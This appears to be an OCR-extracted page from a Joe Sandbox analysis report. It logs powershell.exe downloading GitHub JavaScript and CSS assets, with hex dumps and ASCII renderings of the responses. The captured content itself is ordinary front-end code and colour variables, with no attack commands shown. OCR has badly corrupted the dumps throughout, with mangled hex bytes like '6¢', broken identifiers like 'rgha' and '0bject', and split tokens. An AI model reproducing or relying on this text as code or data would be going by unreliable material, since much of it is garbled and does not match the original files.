9 7b 76 61 72 20 6¢ 3d 65 2e 73 75 62 73 63 72 69 62 65 2e 63 61 6¢ 6¢ 28 76 6f 69 64 20 30 2¢ 74 29 3b 69 66 28 6¢ 29
7b 76 61 72 20 63 3d 4f 2e 67 65 74 28 74 29 3b 63 7c 7c 28 63 3d 7b 7d 2c 4f 2e 73 65 74 28 74 2c 63 29 29 2c¢ 63 5b
22 22 2b 65 2e 69 64 5d 3d 6¢ 7d 7d 65 2e 61 64 64 26 26 65 2e 61 64 64 2e 63 61 6¢ 6¢ 28 76 6f 69 64 20 30 2¢ 74 29
2c 6e 2e 70 75 73 68 28 65 2e 69 64 29 7d 7d 7d 73 28 6f 2c 22 72 75 6e

Data Ascii: f(e.id)===-1){e.elements.push(t);var i=E.get(t),r=i?i[""+e.id]:null;if(r&&r.add&&r.add.call(void 0,t),e.subscribe)
{var |=e.subscribe.call(void 0,t);if(I){var c=0.get(t);c||(c={},O.set(t,c)),c[""+e.id]=I}}e.add&&e.add.call(void 0,t),n.push
(e.id)}}}s(0,"run

Data Raw: 53 65 6¢ 65 63 74 6f 72 22 69 6e 20 65 7c 7c 22 6d 73 4d 61 74 63 68 65 73 53 65 6¢ 65 63 74 6f 72 22 69 6e
2065 7d 73 28 79 2¢c 22 73 75 70 70 6f 72 74 73 53 65 6¢ 65 63 74 6f 72 4d 61 74 63 68 69 6e 67 22 29 3b 76 61 72 20
68 3d 31 2¢ 67 3d 32 2c 76 3d 33 3b 66 75 6e 63 74 69 6f 6e 20 53 28 65 2c 74 2c 6e 29 7b 66 6f 72 28 76 61 72 20 69
3d 30 3b 69 3c 6e 2e 6¢ 65 6e 67 74 68 3b 69 2b 2b 29 7b 76 61 72 20 72 3d 6e 5b 69 5d 3b 72 2e 74 79 70 65 3d 3d 3d
22 63 68 69 6¢ 64 4c 69 73 74 22 3f 28 49 28 65 2 74 2c 72 2e 61 64 64 65 64 4e 6f 64 65 73 29 2¢ 55 28 65 2c 74 2¢ 72
2e 72 65 6d 6f 76 65 64 4e 6f 64 65 73 29 29 3a 72 2e 74 79 70 65 3d 3d 3d 22 61 74 74 72 69 62 75 74 65 73 22 26 26
43 28 65 2c 74 2¢ 72 2e 74 61 72 67 65 74 29 7d 6d 28 65 2e 6f 77 6e

Data Ascii: Selector"in e||"msMatchesSelector"in e}s(y,"supportsSelectorMatching”);var h=1,g=2,v=3;function S(e,t,n){for
(var i=0;i<n.length;i++){var r=n[i];r.type==="childList"?(I(e,t,r.addedNodes),U(e,t,r.removedNodes)):r.type==="attribute
s"&&C(e,t,r.target)}m(e.own

Data Raw: 65 72 79 53 65 6¢ 65 63 74 6f 72 41 6¢ 6¢ 28 22 69 6e 70 75 74 22 29 2c 63 3d 30 3b 63 3c 6¢ 2e 6¢ 65 6e 67
74 68 3b 63 2b 2b 29 43 28 65 2c 74 2c 6¢ 5b 63 5d 29 7d 73 28 5a 2¢ 22 72 65 76 61 6¢ 69 64 61 74 65 49 6e 70 75 74
4f 62 73 65 72 76 65 72 73 22 29 3b 66 75 6e 63 74 69 6f 6e 20 47 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30
3b 6e 3c 65 2e 6f 62 73 65 72 76 65 72 73 2e 6¢ 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 2e 6f 62 73 65 7
276 65 72 73 5b 6e 5d 3b 69 66 28 69 29 66 6f 72 28 76 61 72 20 72 3d 69 2e 65 6¢ 65 6d 65 6e 74 73 2¢ 6¢ 3d 30 3b 6C
3c 72 2e 6¢ 65 6e 67 74 68 3b 6¢ 2b 2b 29 7b 76 61 72 20 63 3d 72 5b 6¢ 5d 3b 63 2e 70 61 72 65 6e 74 4e 6f 64 65 7c
7c 74 2e 70757368 285b762c635d29 7d7d 7d 73 28 47 2¢ 22 72

Data Ascii: erySelectorAll("input”),c=0;c<l.length;c++)C(e,t,I[c])}s(Z, "revalidatelnputObservers");function G(e,t){for(var
n=0;n<e.observers.length;n++){var i=e.observers[n];if(i)for(var r=i.elements,|=0;l<r.length;I++){var c=r[l];c.parentN
ode||t.push([v,c])}}s(G,"r

Data Raw: 72 3d 7b 69 64 3a 59 2b 2b 2c 73 65 6¢ 65 63 74 6f 72 3a 6e 2e 73 65 6¢ 65 63 74 6f 72 2¢ 69 6e 69 74 69 61
6c 69 7a 65 3a 6e 2e 69 6e 69 74 69 61 6¢ 69 7a 65 2c 61 64 64 3a 6e 2e 61 64 64 2c 72 65 6d 6f 76 65 3a 6e 2e 72 65
6d 6f 76 65 2c 73 75 62 73 63 72 69 62 65 3a 6e 2e 73 75 62 73 63 72 69 62 65 2c 65 6¢ 65 6d 65 6€ 74 73 3a 5b 5d 2c
65 6¢ 65 6d 65 6e 74 43 6f 6e 73 74 72 75 63 74 6f 72 3a 6e 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 22 63 6f 6e
737472 75 63 74 6f 72 22 29 3f 6e 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3a 74 68 69 73 2e 6f 77 6e 65 72 44 6f 63 75 6d
65 6e 74 2e 64 65 66 61 75 6¢ 74 56 69 65 77 2e 45 6¢ 65 6d 65 6e 74 2c 61 62 6f 72 74 3a 73 28 66 75 6e 63 74 69 6f 6
e 2829 7b 69 2e 5f 61 62 6f 72 74 4f 62 73 65 72 76 69 6e 67 28

Data Ascii: r={id:Y++,selector:n.selector,initialize:n.initialize,add:n.add,remove:n.remove,subscribe:n.subscribe,elements:
[1,elementConstructor:n.hasOwnProperty(“constructor)?n.constructor:this.ownerDocument.defaultView.Element,abort:s(fu
nction(){i._abortObserving(

Data Raw: 72 6e 20 6e 65 77 20 77 3b 74 68 69 73 2e 73 69 7a 65 3d 30 2c 74 68 69 73 2e 75 69 64 3d 30 2c 74 68 69
73 2e 73 65 6¢ 65 63 74 6f 72 73 3d 5b 5d 2¢ 74 68 69 73 2e 69 6e 64 65 78 65 73 3d 4f 62 6a 65 63 74 2e 63 72 65 61
74 65 28 74 68 69 73 2e 69 6e 64 65 78 65 73 29 2c 74 68 69 73 2e 61 63 74 69 76 65 49 6e 64 65 78 65 73 3d 5b 5d 7d
7328 77 2c 22 53 65 6¢ 65 63 74 6f 72 53 65 74 22 29 3b 76 61 72 20 4d 3d 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74
2e 64 6f 63 75 6d 65 6e 74 45 6¢ 65 6d 65 6e 74 2c 52 3d 4d 2e 6d 61 74 63 68 65 73 7c 7c 4d 2e 77 65 62 6b 69 74 4d
61 74 63 68 65 73 53 65 6¢ 65 63 74 6f 72 7C 7c 4d 2e 6d 6f 7a 4d 61 74 63 68 65 73 53 65 6¢ 65 63 74 6f 72 7c 7c 4d 2e
6f 4d 61 74 63 68 65 73 53 65 6¢ 65 63 74 6f 72 7c 7c 4d 2e 6d 73 4d

Data Ascii: rn new wi;this.size=0,this.uid=0,this.selectors=[] this.indexes=0bject.create(this.indexes),this.activeIndexes=
[I}s(w,"SelectorSet");var M=window.document.documentElement,R=M.matches||M.webkitMatchesSelector||M.mozMatch
esSelector||M.oMatchesSelector||M.msM

Data Raw: 77 69 6e 64 6f 77 2e 4d 61 70 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 4c 3d 77 69 6e 64 6f 77 2e 4d 61 70 3a
4c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 61 28 29 7b 74 68 69 73 2e 6d 61 70 3d 7b 7d 7d 72
65 74 75 72 6e 20 73 28 61 2c 22 4d 61 70 22 29 2c 61 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 3d 66 75 6€ 63 74 69 6f
6e 287529 7h 72 65 74 75 72 6e 20 74 68 69 73 2e 6d 61 70 5b 75 2b 22 20 22 5d 7d 2c 61 2e 70 72 6f 74 6f 74 79 70
65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 75 2c 6f 29 7b 74 68 69 73 2e 6d 61 70 5b 75 2b 22 20 22 5d 3d 6f 7d 2¢c 6
17d28293b 76 61 72 20 46 3d 2f 28 28 3f 3a 5¢c 28 28 3f 3a 5¢c 28 5b 5e 28 29 5d 2b 5¢ 29 7¢ 5b 5e 28 29 5d 2b 29 2b
5c 29 7c 5¢ 5b 28 3f 3a 5¢ 5b 5b 5e 5¢ 5b 5¢ 5d 5d 2a 5¢ 5d 7¢ 5b

Data Ascii: window.Map=="function"?L=window.Map:L=function(){function a(){this.map={}}return s(a,"Map"),a.prot
otype.get=function(u){return this.map[u+" "[},a.prototype.set=function(u,0){this.map[u+" “]=0},a}();var F=/((?:\((?:\([*O)1+V)|["(
BN

Data Raw: 3c 6f 2e 6¢ 65 6e 67 74 68 3b 66 2b 2b 29 66 6f 72 28 64 3d 6f 5b 66 5d 2c 70 3d 76 2e 6¢ 65 6e 67 74 68 3b
70 2d 2d 3b 29 69 66 28 79 3d 76 5b 70 5d 2c 64 2e 69 6e 64 65 78 2e 69 73 50 72 6f 74 6f 74 79 70 65 4f 66 28 79 29
29 7b 69 66 28 68 3d 79 2e 6d 61 70 2e 67 65 74 28 64 2e 6b 65 79 29 2c 68 29 66 6f 72 28 6d 3d 68 2e 6¢ 65 6e 67 74
68 3b 6d 2d 2d 3b 29 67 3d 68 5b 6d 5d 2¢ 67 2e 73 65 6¢ 65 63 74 6f 72 3d 3d 3d 61 26 26 28 49 7c 7c 67 2e 64 61 74 6
13d 3d 3d 75 29 26 26 28 68 2e 73 70 6¢ 69 63 65 28 6d 2c 31 29 2c 53 5b 67 2e 69 64 5d 3d 21 30 29 3b 62 72 65 61
6b 7d 74 68 69 73 2e 73 69 7a 65 2d 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 53 29 2e 6¢ 65 6e 67 74 68 7d 7d 3b 66 75
6e 63 74 69 6f 6e 20 41 28 61 2c 75 29 7b 72 65 74 75 72 6e 20 61 2e 69

Data Ascii: <o.length;f++)for(d=0[f],p=v.length;p--;)if(y=v[p],d.index.isPrototypeOf(y)){if(h=y.map.get(d.key),h)for(m=h
.length;m--;)g=h[m],g.selector===a&&(l||g.data===u)&&(h.splice(m,1),S[g.id]=!0);break]}this.size-=Object.keys(S).length}}
;function A(a,u){return a.i
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Session ID Source IP
3 192.168.2.4
. kBytes
Ti t
imestamp transferred

2022-04-20 13:07:36 UTC 207

2022-04-20 13:07:36 UTC 245

2022-04-20 13:07:36 UTC 246

2022-04-20 13:07:36 UTC 247

2022-04-20 13:07:36 UTC 249

2022-04-20 13:07:36 UTC 250

Copyright Joe Security LLC 2022

Source Port

49756

Direction

ouT

Destination

Destination IP Process

Port
185.199.108.154 443 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Data

GET /assets/dark-d4a90c367f0c.css HTTP/1.1

Accept: */*

Accept-Language: en-US

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET
CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)

Host: github.githubassets.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Connection: close

Content-Length: 54432

Access-Control-Allow-Methods: GET

Access-Control-Max-Age: 3600

Cache-Control: public, max-age=31536000

Last-Modified: Mon, 04 Apr 2022 20:10:38 GMT

ETag: "b307d6ddfa847eb485f7522e98f5c55a"

Content-Type: text/css

Server: AmazonS3

Via: 1.1 varnish, 1.1 varnish

Accept-Ranges: bytes

Date: Wed, 20 Apr 2022 13:07:36 GMT

Age: 1356811

X-Served-By: cache-iad-kcgs7200059-1AD, cache-mxp6947-MXP
X-Cache: HIT, HIT

X-Cache-Hits: 1, 1

Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Access-Control-Allow-Origin: *

Strict-Transport-Security: max-age=31536000
X-Fastly-Request-I1D: 833dc360dc311b714fb47a95c8ab8a78767€9810

Data Raw: 5b 64 61 74 61 2d 63 6f 6¢ 6f 72 2d 6d 6f 64 65 3d 6¢c 69 67 68 74 5d 5b 64 61 74 61 2d 6¢ 69 67 68 74 2d 74
68 65 6d 65 3d 64 61 72 6b 5d 2c 5b 64 61 74 61 2d 63 6f 6¢ 6f 72 2d 6d 6f 64 65 3d 64 61 72 6b 5d 5b 64 61 74 61 2d 64
6172 6b 2d 74 68 65 6d 65 3d 64 61 72 6b 5d 7b 2d 2d 63 6f 6¢ 6f 72 2d 63 61 6e 76 61 73 2d 64 65 66 61 75 6¢ 74 2d
747261 6e 73 70 61 72 65 6e 74 3a 20 72 67 62 61 28 31 33 2c 31 37 2¢ 32 33 2¢ 30 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 70
61 67 65 2d 68 65 61 64 65 72 2d 62 67 3a 20 23 30 64 31 31 31 37 3b 2d 2d 63 6f 6¢ 6f 72 2d 6d 61 72 6b 65 74 69 6€ 6
7 2d 69 63 6f 6e 2d 70 72 69 6d 61 72 79 3a 20 23 37 39 63 30 66 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 6d 61 72 6b 65 74 69 6e
67 2d 69 63 6f 6e 2d 73 65 63 6f 6e 64 61 72 79 3a 20 23 31 66 36

Data Ascii: [data-color-mode=light][data-light-theme=dark],[data-color-mode=dark][data-dark-theme=dark]{--color-canvas-
default-transparent: rgba(13,17,23,0);--color-page-header-bg: #0d1117;--color-marketing-icon-primary: #79c0ff;--color-mar
keting-icon-secondary: #1f6

Data Raw: 69 67 68 74 73 2d 73 79 6e 74 61 78 2d 6b 65 79 77 6f 72 64 3a 20 23 66 66 37 62 37 32 3b 2d 2d 63 6f 6¢ 6f
722d 7072 65 74 74 79 6¢ 69 67 68 74 73 2d 73 79 6e 74 61 78 2d 73 74 72 69 6e 67 3a 20 23 61 35 64 36 66 66 3b 2d
2d 63 6f 6¢ 6f 72 2d 70 72 65 74 74 79 6¢ 69 67 68 74 73 2d 73 79 6e 74 61 78 2d 76 61 72 69 61 62 6¢ 65 3a 20 23 66
66 61 36 35 37 3b 2d 2d 63 6f 6¢ 6f 72 2d 70 72 65 74 74 79 6¢ 69 67 68 74 73 2d 73 79 6e 74 61 78 2d 62 72 61 63 6b 6
574 68 69 67 68 6¢ 69 67 68 74 65 72 2d 75 6e 6d 61 74 63 68 65 64 3a 20 23 66 38 35 31 34 39 3b 2d 2d 63 6f 6¢ 6f 72
2d 70 72 6574 74 79 6¢ 69 67 68 74 73 2d 73 79 6e 74 61 78 2d 69 6e 76 61 6¢ 69 64 2d 69 6c 6¢ 65 67 61 6C 2d 74 65
78 74 3a 20 23 66 30 66 36 66 63 3b 2d 2d 63 6f 6¢ 6f 72 2d 70 72 65

Data Ascii: ights-syntax-keyword: #ff7b72;--color-prettylights-syntax-string: #a5d6ff;--color-prettylights-syntax-variable:
#ffab657;--color-prettylights-syntax-brackethighlighter-unmatched: #f85149;--color-prettylights-syntax-invalid-illegal-text: #f
of6fc;--color-pre

Data Raw: 72 2d 74 65 78 74 3a 20 23 63 39 64 31 64 39 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 6f 64 65 6d 69 72 72 6f 72 2d 62
67 3a 20 23 30 64 31 31 31 37 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 6f 64 65 6d 69 72 72 6f 72 2d 67 75 74 74 65 72 73 2d 62 67
3a20 23 30 64 31 31 31 37 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 6f 64 65 6d 69 72 72 6f 72 2d 67 75 74 74 65 72 6d 61 72 6b 65
722d 74 65 78 74 3a 20 23 30 64 31 31 31 37 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 6f 64 65 6d 69 72 72 6f 72 2d 67 75 74 74 65
72 6d 61 72 6b 65 72 2d 73 75 62 74 6¢ 65 2d 74 65 78 74 3a 20 23 36 65 37 36 38 31 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 6f 64
65 6d 69 72 72 6f 72 2d 6¢ 69 6€ 65 6e 75 6d 62 65 72 2d 74 65 78 74 3a 20 23 38 62 39 34 39 65 3b 2d 2d 63 6f 6¢ 6f 72
2d 63 6f 64 65 6d 69 72 72 6f 72 2d 63 75 72 73 6f 72 3a

Data Ascii: r-text: #c9d1d9;--color-codemirror-bg: #0d1117;--color-codemirror-gutters-bg: #0d1117;--color-codemirror-gut
termarker-text: #0d1117;--color-codemirror-guttermarker-subtle-text: #6e7681;--color-codemirror-linenumber-text:
#8b949e;--color-codemirror-cursor:

Data Raw: 6f 72 2d 63 68 65 63 6b 73 2d 64 6f 6e 75 74 2d 65 72 72 6f 72 3a 20 23 66 38 35 31 34 39 3b 2d 2d 63 6f 6¢
6f 72 2d 63 68 65 63 6b 73 2d 64 6f 6e 75 74 2d 70 65 6e 64 69 6e 67 3a 20 23 64 32 39 39 32 32 3b 2d 2d 63 6f 6¢ 6f 72
2d 63 68 65 63 6b 73 2d 64 6f 6e 75 74 2d 73 75 63 63 65 73 73 3a 20 23 32 65 61 30 34 33 3b 2d 2d 63 6f 6¢ 6f 72 2d
63 68 65 63 6b 73 2d 64 6f 6e 75 74 2d 6e 65 75 74 72 61 6¢ 3a 20 23 38 62 39 34 39 65 3b 2d 2d 63 6f 6¢ 6f 72 2d 63
68 65 63 6b 73 2d 64 72 6f 70 64 6 77 6 2d 74 65 78 74 3a 20 23 63 39 64 31 64 39 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 68 65
63 6b 73 2d 64 72 6f 70 64 6f 77 6e 2d 62 67 3a 20 23 31 36 31 62 32 32 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 68 65 63 6b 73 2d
64 72 6f 70 64 6f 77 6e 2d 62 6f 72 64 65 72 3a 20 23 33 30 33

Data Ascii: or-checks-donut-error: #f85149;--color-checks-donut-pending: #d29922;--color-checks-donut-success:
#2ea043;--color-checks-donut-neutral: #8b949e;--color-checks-dropdown-text: #c9d1d9;--color-checks-dropdown-bg:
#161b22;--color-checks-dropdown-border: #303
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Data

Data Raw: 63 6b 73 2d 6¢ 6f 67 6¢ 69 6e 65 2d 6e 75 6d 2d 74 65 78 74 3a 20 23 36 65 37 36 38 31 3b 2d 2d 63 6f 6¢ 6f
72 2d 63 68 65 63 6b 73 2d 6¢ 6f 67 6¢ 69 6e 65 2d 64 65 62 75 67 2d 74 65 78 74 3a 20 23 61 33 37 31 66 37 3b 2d 2d
63 6f 6¢ 6f 72 2d 63 68 65 63 6b 73 2d 6¢ 6f 67 6C 69 6€ 65 2d 65 72 72 6f 72 2d 74 65 78 74 3a 20 23 38 62 39 34 39 65
3b 2d 2d 63 6f 6¢ 6f 72 2d 63 68 65 63 6b 73 2d 6¢ 6f 67 6¢ 69 6€ 65 2d 65 72 72 6f 72 2d 6e 75 6d 2d 74 65 78 74 3a 20
23 36 65 37 36 38 31 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 68 65 63 6b 73 2d 6¢ 6f 67 6¢ 69 6e 65 2d 65 72 72 6f 72 2d 62 67 3a
2072 67 62 61 28 32 34 38 2c 38 31 2c 37 33 2¢ 30 2e 31 35 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 63 68 65 63 6b 73 2d 6¢ 6f 67
6¢ 69 6e 65 2d 77 61 72 6e 69 6e 67 2d 74 65 78 74 3a 20 23

Data Ascii: cks-logline-num-text: #6e7681;--color-checks-logline-debug-text: #a371f7;--color-checks-logline-error-text:
#8b949e;--color-checks-logline-error-num-text: #6e7681;--color-checks-logline-error-bg: rgha(248,81,73,0.15);--color-che
cks-logline-warning-text: #

Data Raw: 73 68 61 64 6f 77 2d 66 6f 63 75 73 3a 20 72 67 62 28 32 35 35 20 32 35 35 20 32 35 35 20 2f 20 32 35 25 29
2030 20 30 20 30 20 34 70 78 3b 2d 2d 63 6f 6¢ 6f 72 2d 6d 6b 74 67 2d 62 74 6e 2d 73 68 61 64 6f 77 2d 68 6f 76 65 72
3a2030 20 34 70 78 20 37 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 31 35 29 2c¢ 20 30 20 31 30 30 70
78203830 70 78 20 72 67 62 61 28 32 35 35 2¢ 20 32 35 35 2¢ 20 32 35 35 2¢ 20 30 2e 30 32 29 2c 20 30 20 34 32 70
782033 337078207267 626128323535 2c 20 32 35 35 2¢ 20 32 35 35 2¢ 20 30 2e 30 32 34 29 2¢ 20 30 20 32 32
707820313870 7820 7267 62 61 28 32 35 35 2c 20 32 35 35 2¢ 20 32 35 35 2¢ 20 30 2e 30 32 38 29 2c 20 30 20 31
327078203130 7078207267 626128 323535 2c 20 32 35 35 2¢

Data Ascii: shadow-focus: rgh(255 255 255 / 25%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 4px 7px rgba(0, 0, 0, 0.15),
0 100px 80px rgha(255, 255, 255, 0.02), 0 42px 33px rgha(255, 255, 255, 0.024), 0 22px 18px rgha(255, 255, 255,
0.028), 0 12px 10px rgba(255, 255,

Data Raw: 72 69 67 68 74 3a 20 23 66 66 66 66 66 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 61 6e 73 69 2d 67 72 61 79 3a 20 23 36
65 37 36 38 31 3b 2d 2d 63 6f 6¢ 6f 72 2d 61 6e 73 69 2d 72 65 64 3a 20 23 66 66 37 62 37 32 3b 2d 2d 63 6f 6¢ 6f 72 2d
61 6e 73 69 2d 72 65 64 2d 62 72 69 67 68 74 3a 20 23 66 66 61 31 39 38 3b 2d 2d 63 6f 6¢ 6f 72 2d 61 6e 73 69 2d 67
72 65 65 6e 3a 20 23 33 66 62 39 35 30 3b 2d 2d 63 6f 6¢ 6f 72 2d 61 6e 73 69 2d 67 72 65 65 6e 2d 62 72 69 67 68 74
3a 20 23 35 36 64 33 36 34 3b 2d 2d 63 6f 6¢ 6f 72 2d 61 6e 73 69 2d 79 65 6¢ 6¢ 6f 77 3a 20 23 64 32 39 39 32 32 3b 2d
2d 63 6f 6¢ 6f 72 2d 61 6e 73 69 2d 79 65 6¢ 6¢ 6f 77 2d 62 72 69 67 68 74 3a 20 23 65 33 62 33 34 31 3b 2d 2d 63 6f 6¢
6f 72 2d 61 6e 73 69 2d 62 6¢ 75 65 3a 20 23 35 38 61 36 66 66

Data Ascii: right: #ffffff;--color-ansi-gray: #6e7681;--color-ansi-red: #ff7b72;--color-ansi-red-bright: #ffa198;--color-ansi-gree
n: #3fb950;--color-ansi-green-bright: #56d364;--color-ansi-yellow: #d29922;--color-ansi-yellow-bright: #e3b341;--color-a
nsi-blue: #58a6ff

Data Raw: 64 2d 62 67 3a 20 23 32 33 38 36 33 36 3b 2d 2d 63 6f 6¢ 6f 72 2d 62 74 6e 2d 70 72 69 6d 61 72 79 2d 73 65
6C 65 63 74 65 64 2d 73 68 61 64 6f 77 3220 30 20 30 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 2d 2d 63 6f 6¢ 6f 72 2d
62 74 6e 2d 70 72 69 6d 61 72 79 2d 64 69 73 61 62 6¢ 65 64 2d 74 65 78 74 3a 20 72 67 62 61 28 32 35 35 2¢ 32 35 35
2c 32 35 35 2c 30 2e 35 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 62 74 6e 2d 70 72 69 6d 61 72 79 2d 64 69 73 61 62 6¢ 65 64 2d 6
26732207267 62 61 28 33 35 2c 31 33 34 2c 35 34 2c 30 2e 36 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 62 74 6e 2d 70 72 69 6d
6172 79 2d 64 69 73 61 62 6¢ 65 64 2d 62 6f 72 64 65 72 32 20 72 67 62 61 28 32 34 30 2c 32 34 36 2c 32 35 32 2¢ 30
2e 3129 3b 2d 2d 63 6f 6¢ 6f 72 2d 62 74 6e 2d 70 72 69 6d 61 72 79

Data Ascii: d-bg: #238636;--color-btn-primary-selected-shadow: 0 0 transparent;--color-btn-primary-disabled-text: rgba(2
55,255,255,0.5);--color-btn-primary-disabled-bg: rgba(35,134,54,0.6);--color-btn-primary-disabled-border: rgha(240,246,2
52,0.1);--color-btn-primary

Data Raw: 6¢ 6f 72 2d 62 74 6e 2d 64 61 6e 67 65 72 2d 74 65 78 74 3a 20 23 66 38 35 31 34 39 3b 2d 2d 63 6f 6¢ 6f 72
2d 62 74 6e 2d 64 61 6e 67 65 72 2d 68 6f 76 65 72 2d 74 65 78 74 3a 20 23 66 66 66 66 66 66 3b 2d 2d 63 6f 6¢ 6f 72
2d 62 74 6e 2d 64 61 6e 67 65 72 2d 68 6f 76 65 72 2d 62 67 3a 20 23 64 61 33 36 33 33 3b 2d 2d 63 6f 6¢ 6f 72 2d 62
74 6e 2d 64 61 6e 67 65 72 2d 68 6f 76 65 72 2d 62 6f 72 64 65 72 3a 20 23 66 38 35 31 34 39 3b 2d 2d 63 6f 6¢ 6f 72 2d
62 74 6e 2d 64 61 6e 67 65 72 2d 68 6f 76 65 72 2d 73 68 61 64 6f 77 3a 20 30 20 30 20 74 72 61 6e 73 70 61 72 65 6e 7
4 3b 2d 2d 63 6f 6¢ 6f 72 2d 62 74 6e 2d 64 61 6e 67 65 72 2d 68 6f 76 65 72 2d 69 6e 73 65 74 2d 73 68 61 64 6f 77 3a
203020302074 72 61 6e 73 70 61 72 65 6e 74 3b 2d 2d 63 6f 6¢

Data Ascii: lor-btn-danger-text: #f85149;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #da3633;--color-
btn-danger-hover-border: #f85149;--color-btn-danger-hover-shadow: 0 0 transparent;--color-btn-danger-hover-inset-sh
adow: 0 0 transparent;--col

Data Raw: 68 6f 76 65 72 2d 62 67 3a 20 72 67 62 61 28 32 34 38 2c 38 31 2c¢ 37 33 2¢ 30 2e 31 36 29 3b 2d 2d 63 6f 6¢
6f 72 2d 61 63 74 69 6f 6e 2d 6¢ 69 73 74 2d 69 74 65 6d 2d 64 61 6e 67 65 72 2d 61 63 74 69 76 65 2d 62 67 3a 20 72
67 62 61 28 32 34 38 2c 38 31 2c 37 33 2¢ 30 2e 32 34 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 61 63 74 69 6f 6e 2d 6¢ 69 73 74 2d
69 74 65 6d 2d 64 61 6e 67 65 72 2d 68 6f 76 65 72 2d 74 65 78 74 3a 20 23 66 66 37 62 37 32 3b 2d 2d 63 6f 6¢ 6f 72
2d 73 77 69 74 63 68 2d 74 72 61 63 6b 2d 62 67 3a 20 23 30 31 30 34 30 39 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 77 69 74 63 6
82d 74 72 61 63 6b 2d 62 6f 72 64 65 72 3a 20 23 36 65 37 36 38 31 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 77 69 74 63 68 2d 74
72 61 63 6b 2d 63 68 65 63 6b 65 64 2d 62 67 3a 20 72 67 62 61 28

Data Ascii: hover-bg: rgba(248,81,73,0.16);--color-action-list-item-danger-active-bg: rgba(248,81,73,0.24);--color-action-
list-item-danger-hover-text: #ff7b72;--color-switch-track-bg: #010409;--color-switch-track-border: #6e7681;--color-switch-
track-checked-bg: rgba(

Data Raw: 35 30 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 75 63 63 65 73 73 2d 65 6d 70 68 61 73 69 73 3a 20 23 32 33 38 36 33 36
3b 2d 2d 63 6f 6¢ 6f 72 2d 73 75 63 63 65 73 73 2d 6d 75 74 65 64 3a 20 72 67 62 61 28 34 36 2c 31 36 30 2c 36 37 2¢
30 2e 34 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 75 63 63 65 73 73 2d 73 75 62 74 6¢ 65 3a 20 72 67 62 61 28 34 36 2c 31 36
30 2c 36 37 2¢ 30 2e 31 35 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 61 74 74 65 6e 74 69 6f 6e 2d 66 67 3a 20 23 64 32 39 39 32 32
3b 2d 2d 63 6f 6¢ 6f 72 2d 61 74 74 65 6e 74 69 6f 6e 2d 65 6d 70 68 61 73 69 73 3a 20 23 39 65 36 61 30 33 3b 2d 2d 6
3 6f 6¢ 6f 72 2d 61 74 74 65 6e 74 69 6f 6e 2d 6d 75 74 65 64 3a 20 72 67 62 61 28 31 38 37 2c 31 32 38 2c 39 2¢ 30 2e
3429 3b 2d 2d 63 6f 6¢ 6f 72 2d 61 74 74 65 6e 74 69 6f 6e 2d 73

Data Ascii: 50;--color-success-emphasis: #238636;--color-success-muted: rgba(46,160,67,0.4);--color-success-subtle:
rgba(46,160,67,0.15);--color-attention-fg: #d29922;--color-attention-emphasis: #9e6a03;--color-attention-muted: rg
ba(187,128,9,0.4);--color-attention-s

Data Raw: 35 2c 30 2e 32 29 3b 2d 2d 63 6f 6¢ 6f 72 2d 70 72 69 6d 65 72 2d 73 68 61 64 6f 77 2d 68 69 67 68 6¢ 69 67
68 74 3a 20 30 20 30 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 2d 2d 63 6f 6¢ 6f 72 2d 70 72 69 6d 65 72 2d 73 68 61 64
6f 77 2d 69 6e 73 65 74 3a 20 30 20 30 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 2d 2d 63 6f 6¢ 6f 72 2d 70 72 69 6d 65
72 2d 73 68 61 64 6f 77 2d 66 6f 63 75 73 3a 20 30 20 30 20 30 20 33 70 78 20 23 30 63 32 64 36 62 3b 2d 2d 63 6f 6¢ 6f
72 2d 73 63 61 6¢ 65 2d 62 6¢ 61 63 6b 3a 20 23 30 31 30 34 30 39 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 77 68 6
9 74 65 3a 20 23 66 66 66 66 66 66 3b 2d 2d 63 6f 6¢ 6f 72 2d 73 63 61 6¢ 65 2d 67 72 61 79 2d 30 3a 20 23 66 30 66 36
